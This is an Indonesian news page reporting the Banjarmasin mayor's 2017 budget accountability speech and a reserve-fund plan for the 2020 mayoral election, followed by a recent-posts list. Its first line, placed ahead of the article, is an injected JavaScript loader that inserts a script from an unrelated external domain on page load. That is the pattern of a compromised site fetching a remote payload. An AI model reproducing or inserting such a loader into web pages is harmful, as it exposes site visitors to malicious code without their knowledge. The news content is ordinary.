(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pemerintahan

Ibnu Sina Beber Laporan APBD 2017, Penyerapan Pendapatan Daerah 97,50%


BANJARMASIN, DPRD Kota Banjarmasin menggelar rapat paripurna penyampaian Raperda Prakarsa Kepala Daerah tentang Pertanggungjawaban Pelaksanaan APBD Kota Banjarmasin tahun 2017 dan Raperda dana cadangan daerah dalam rangka pelaksanaan Pemilu Walikota dan Wakil Walikota Banjarmasin 2020, Jum’at (22/6).

Walikota Banjarmasin Ibnu Sina dalam laporan tentang Pertanggungjawaban Pelaksanaan APBD Kota Banjarmasin tahun 2017 menyebut, realisasi penggunaan APBD Kota Banjarmasin hingga 31 Desember 2017 yang bersumber dari pendapatan daerah sebesar Rp 1.481.114.231.393. Sedangkan nilai total pendapatan daerah tahun 2017 sebesar Rp 1.519.124.447.112. Artinya, bila dipersentasikan maka penyerapan dana pendapatan daerah mencapai 97,50 %.

Untuk dana perimbangan yang dianggarkan sebesar Rp 1.024.878.846.224, lanjutnya, realisasi penggunaan di tahun 2017 sebesar Rp 992.961.481.745.00.

Sedangkan dari lain-lain pendapatan daerah yang sah, realiasasi penggunaan mencapai Rp 163.174.761.034 dari total pendapatan yang sah sebesar Rp 168.986.111.685.

Lebih lanjut dikatakan Ibnu Sina, upaya untuk mencapai hasil yang ditargetkan, tidak sedikit hambatan dan kendala yang dihadapi.

Namun, jelasnya, hal itu tidak menyurutkan langkah jajaran Pemko Banjarmasin untuk terus melakukan perbaikan dalam proses, prosedur dan kebijakan, sehingga capaian hasilnya dapat lebih optimal.

“Pelaksanaan APBD Kota Banjarmasin tahun anggaran 2017 disamping dapat dikelola dengan segala kelebihan dan kekurangannya, dapat juga terlaksana sebagaimana mestinya, sehingga BPK RI perwakilan Kalsel memberikan opini WTP kepada Pemko Banjarmasin,” ujarnya.

Menyinggung tentang Raperda dana cadangan daerah dalam rangka Pelaksanaan Pemilu Walikota dan Wakil Walikota Banjarmasin 2020, ia mengatakan, pembentukan dana cadangan akan dialokasikan bertahap sebanyak 2 kali yakni pada APBD Perubahan TA 2018 dan APBD 2019. “Pembentukan dana cadangan untuk pelaksanaan Pilkada itu dimaksudkan agar tidak menganggu kegiatan lain. Dan kegiatan Pilkada itu harus kita dukung,” katanya. (ammar)

Reporter:Ammar
Editor:Abi Zarrin Al Ghifari

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Sensasi Soto Apung Banjarmasin Santapan di Atas Lanting Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN – Hidangan Soto Banjar disajikan di rumah lanting apung itu ketika sang surya… Read More

4 jam ago

Pascabanjir Bandang Warga Tebing Tinggi Mulai Tempati Rumah

KANALKALIMANTAN.COM, PARINGIN – Sepekan pascabanjir bandang menerjang Kecamatan Tebing Tinggi, Kabupaten Balangan, denyut kehidupan warga… Read More

5 jam ago

Bupati dan Sekda Banjar Jenguk Kondisi Warga Terdampak Banjir di Desa Pemakuan dan Pembantanan

KANALKALIMANTAN.COM, MARTAPURA - Genangan air di sejumlah kecamatan di Kabupaten Banjar masih belum menunjukkan penurunan… Read More

11 jam ago

Gempa Dangkal Terjadi di Balangan dan Kotabaru

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas seismik di daratan Kalimantan kembali terjadi melalui rangkaian gempa tektonik dangkal… Read More

12 jam ago

Diterjang Banjir Bandang Jembatan Penghubung Desa Langkap – Raranum Putus

KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More

15 jam ago

Banjir Balangan Meluas 13.531 Jiwa Terdampak di 30 Desa

KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More

15 jam ago

This website uses cookies.